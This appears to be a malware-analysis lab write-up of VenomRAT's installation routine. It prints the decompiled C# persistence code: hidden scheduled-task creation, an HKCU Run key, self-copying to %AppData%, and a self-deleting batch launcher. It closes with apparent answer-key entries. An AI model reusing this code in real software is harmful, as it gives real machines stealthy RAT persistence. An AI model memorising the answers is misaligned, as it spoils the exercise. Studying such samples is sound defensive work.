Remote Access Trojan

VenomRAT - ClientAny.exe

Author: Moise Medici
Updated: 15 Nov 2025 · Completed
Difficulty: Easy
Platform: Windows
Capabilities: Persistence Mechanisms Command Execution via Powershell Cmd Bash Data-Exfiltration
Tags: C#VenomRAT

`Client.Install`

Now that the settings are clearer, the installation procedure can be viewed to then go into the details of what the sample is doing.
The full code of this file is:

1
using System;
2
using System.Diagnostics;
3
using System.IO;
4
using System.Threading;
5
using Client.Connection;
6
using Client.Helper;
7
using Microsoft.Win32;
8

9
namespace Client.Install
10
{
11
  internal class NormalStartup
12
  {
13
    public static void Install()
14
    {
15
      try
16
      {
17
        FileInfo fileInfo = new FileInfo(Path.Combine(Environment.ExpandEnvironmentVariables(Settings.Install_Folder), Settings.Install_File));
18
        string fileName = Process.GetCurrentProcess().MainModule.FileName;
19
        if (fileName != fileInfo.FullName)
20
        {
21
          foreach (Process process in Process.GetProcesses())
22
          {
23
            try
24
            {
25
              if (process.MainModule.FileName == fileInfo.FullName)
26
              {
27
                process.Kill();
28
              }
29
            }
30
            catch
31
            {
32
            }
33
          }
34
          if (Methods.IsAdmin())
35
          {
36
            Process.Start(new ProcessStartInfo
37
            {
38
              FileName = "cmd",
39
              Arguments = string.Concat(new string[]
40
              {
41
                "/c schtasks /create /f /sc onlogon /rl highest /tn \"",
42
                Path.GetFileNameWithoutExtension(fileInfo.Name),
43
                "\" /tr '\"",
44
                fileInfo.FullName,
45
                "\"' & exit"
46
              }),
47
              WindowStyle = ProcessWindowStyle.Hidden,
48
              CreateNoWindow = true
49
            });
50
          }
51
          else
52
          {
53
            using (RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\", RegistryKeyPermissionCheck.ReadWriteSubTree))
54
            {
55
              registryKey.SetValue(Path.GetFileNameWithoutExtension(fileInfo.Name), "\"" + fileInfo.FullName + "\"");
56
            }
57
          }
58
          if (File.Exists(fileInfo.FullName))
59
          {
60
            File.Delete(fileInfo.FullName);
61
            Thread.Sleep(1000);
62
          }
63
          Stream stream = new FileStream(fileInfo.FullName, FileMode.CreateNew);
64
          byte[] array = File.ReadAllBytes(fileName);
65
          stream.Write(array, 0, array.Length);
66
          Methods.ClientOnExit();
67
          string text = Path.GetTempFileName() + ".bat";
68
          using (StreamWriter streamWriter = new StreamWriter(text))
69
          {
70
            streamWriter.WriteLine("@echo off");
71
            streamWriter.WriteLine("timeout 3 > NUL");
72
            streamWriter.WriteLine("START \"\" \"" + fileInfo.FullName + "\"");
73
            streamWriter.WriteLine("CD " + Path.GetTempPath());
74
            streamWriter.WriteLine("DEL \"" + Path.GetFileName(text) + "\" /f /q");
75
          }
76
          Process.Start(new ProcessStartInfo
77
          {
78
            FileName = text,
79
            CreateNoWindow = true,
80
            ErrorDialog = false,
81
            UseShellExecute = false,
82
            WindowStyle = ProcessWindowStyle.Hidden
83
          });
84
          Environment.Exit(0);
85
        }
86
      }
87
      catch (Exception ex)
88
      {
89
        ClientSocket.Error("Install Failed : " + ex.Message);
90
      }
91
    }
92
  }
93
}

fileInfo is set to be the concatenation of %AppData% and dadada.exe.

17
FileInfo fileInfo = new FileInfo(Path.Combine(Environment.ExpandEnvironmentVariables(Settings.Install_Folder), Settings.Install_File));

To clarify before looking at the next few lines:

fileName is a string representing the path to the executable of the running process. For example, if the executable downloaded from this report is executed without renaming, its file name will be: C:\Users\REM\Desktop\8f5bb49ef2c1178c113d477f70856b3d59a107a6f5a551199fb5ea0be911c496.exe.
fileInfo is a FileInfo object with fullName value of C:\Users\REM\AppData\Roaming\dadada.exe.

This code goes through all running processes and kills any process whose executable file matches %AppData%\dadada.exe. This is probably used in case a new installation of modules has to be performed remotely.

18
string fileName = Process.GetCurrentProcess().MainModule.FileName;
19
if (fileName != fileInfo.FullName)
20
{
21
    foreach (Process process in Process.GetProcesses())
22
    {
23
        try
24
        {
25
            if (process.MainModule.FileName == fileInfo.FullName)
26
            {
27
                process.Kill();
28
            }
29
        }
30
        catch
31
        {
32
        }
33
}

After that, it attempts the two persistence mechanisms already observed. If it is admin it will execute the following code to create a new task in the Task Scheduler to start on login.

1
cmd /c schtasks /create /f /sc onlogon /rl highest /tn dadada /tr "%AppData%\\dadada.exe" & exit

The execution of the above command is done in a hidden window to avoid alerting the user:

47
WindowStyle = ProcessWindowStyle.Hidden,
48
CreateNoWindow = true

Otherwise, it will write in the registry HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ the value: dadada.exe. Note that Registry.CurrentUser is HKCU. This can be confirmed by clicking on CurrentUser in DnSpy; this leads to the following line: RegistryKey.GetBaseKey(RegistryKey.HKEY_CURRENT_USER);

53
using (RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\", RegistryKeyPermissionCheck.ReadWriteSubTree))
54
{
55
    registryKey.SetValue(Path.GetFileNameWithoutExtension(fileInfo.Name), "\"" + fileInfo.FullName + "\"");
56
}

After that it checks if %AppData%\dadada.exe already exists and, if it does, deletes it.

58
if (File.Exists(fileInfo.FullName))
59
{
60
    File.Delete(fileInfo.FullName);
61
    Thread.Sleep(1000);
62
}

This is done because the next couple of lines copy the sample into %AppData%/dadada.exe.

63
Stream stream = new FileStream(fileInfo.FullName, FileMode.CreateNew);
64
byte[] array = File.ReadAllBytes(fileName);
65
stream.Write(array, 0, array.Length);

Lastly, the .bat file seen during dynamic analysis, C:\Users\REM\AppData\Local\Temp\tmp8A48.tmp.bat, is created. The content can now be seen below. Note that GetTempFileName might return a different file name on different executions.

67
string text = Path.GetTempFileName() + ".bat";
68
using (StreamWriter streamWriter = new StreamWriter(text))
69
{
70
  streamWriter.WriteLine("@echo off");
71
  streamWriter.WriteLine("timeout 3 > NUL");
72
  streamWriter.WriteLine("START \"\" \"" + fileInfo.FullName + "\"");
73
  streamWriter.WriteLine("CD " + Path.GetTempPath());
74
  streamWriter.WriteLine("DEL \"" + Path.GetFileName(text) + "\" /f /q");
75
}

A new process, executed again in hidden mode, runs the .bat file as specified in the FileName field. This will wait for 3 seconds, execute the dadada.exe file, and delete the original sample.

Answer 6: Two, picked by privilege level, both pointing at the copy of the sample written to %AppData%\dadada.exe. As admin, Client.Install.NormalStartup runs cmd /c schtasks /create /f /sc onlogon /rl highest /tn dadada /tr "%AppData%\dadada.exe" in a hidden window; as a standard user it writes the value dadada = "C:\Users\REM\AppData\Roaming\dadada.exe" under HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\. Both were observed during the dynamic phase.
Answer 7: It was found empty because it deletes itself. Client.Install.NormalStartup creates it as Path.GetTempFileName() + ".bat" and writes five lines: @echo off, timeout 3 > NUL, START "" "C:\Users\REM\AppData\Roaming\dadada.exe", CD %TEMP% and DEL "<its own file name>" /f /q. It waits three seconds, launches the installed copy from %AppData%, then removes itself from %TEMP%.